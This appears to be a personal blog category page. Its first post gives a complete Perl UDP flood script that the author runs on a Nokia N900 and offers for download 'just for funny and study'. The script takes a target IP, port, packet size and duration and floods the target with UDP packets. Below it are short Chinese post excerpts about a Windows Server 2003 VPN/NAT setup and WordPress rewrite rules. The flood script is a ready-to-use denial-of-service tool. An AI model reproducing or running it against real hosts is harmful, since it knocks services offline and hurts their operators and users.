Posts under category 新技能

UDP Flood on Nokia N900

I made a DDOS test recently, after it I had a fancy idea --- Using Nokia N900 to made UDP Flood.

As we know, The Nokia N900's system is Maemo 5, and the Maemo 5 was base on the Debian. So Nokia N900 is a pocket PC that we can do anything on it. We can use the Perl, and let the socket module to send UDP pockets.

source code :
#!/usr/bin/perl

############################
# udp flood script for perl
############################

use Socket;
use strict;

if ($#ARGV != 3) {
  print "flood.pl ip port size time\n\n";
  print " port=0: use random ports\n";
  print " size=0: use random size between 64 and 1024\n";
  print " time=0: continuous flood\n";
  exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding $ip " . ($port ? $port : "random") . " port with " . 
  ($size ? "$size-byte" : "random size") . " packets" . 
  ($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

#my $sum = 1;

for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65535))+1;
  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  #$sum+=1;
  #print "sending package".$sum;
  #system "clear";
}

But DOS attack need powerful CPU and other energy. The Nokia N900 just has 600MHz CPU, Although we can overclock the CPU, but the effect is not obvious.

Okay, Just for funny and study :-)

Download the flood code : flood.pl

Windows Server 2003 搭建 VPN + NAT 实现网络共享

最近要着手搭建一个内网网络控制平台,经过多重筛选,最终决定使用 Windows 2003 搭建 VPN 来实现。具体情况如下:

内网中存在多部计算机,并且被防火墙设定为不能访问公网,同时有一台服务器,可以访问公网。现在我们需要在服务器上搭建代理平台,供其他计算机上网。先后用了 CCProxy 以及其他代理服务器软件,效果都挺糟糕,所以果断采取了 Windows Server 自带的 VPN 功能,搭建了 VPN 服务器,提供账号给其他计算机进行访问。

环境:Windows Server 2003 官方原版

- Read More -

WordPress Windows 主机下实现伪静态

在博客配置的这几天里,最头疼的就是伪静态的配置。

主要原因还是主机,主机是 Windows 主机,想要去掉固定链接的那个可恶的 /index.php 的前缀还得自己配置 httpd.ini 文件。网上 copy 下来的代码都差不多,而且有时候后台变 404,xmlrpc 功能失效,自己的短链系统又不行。

- Read More -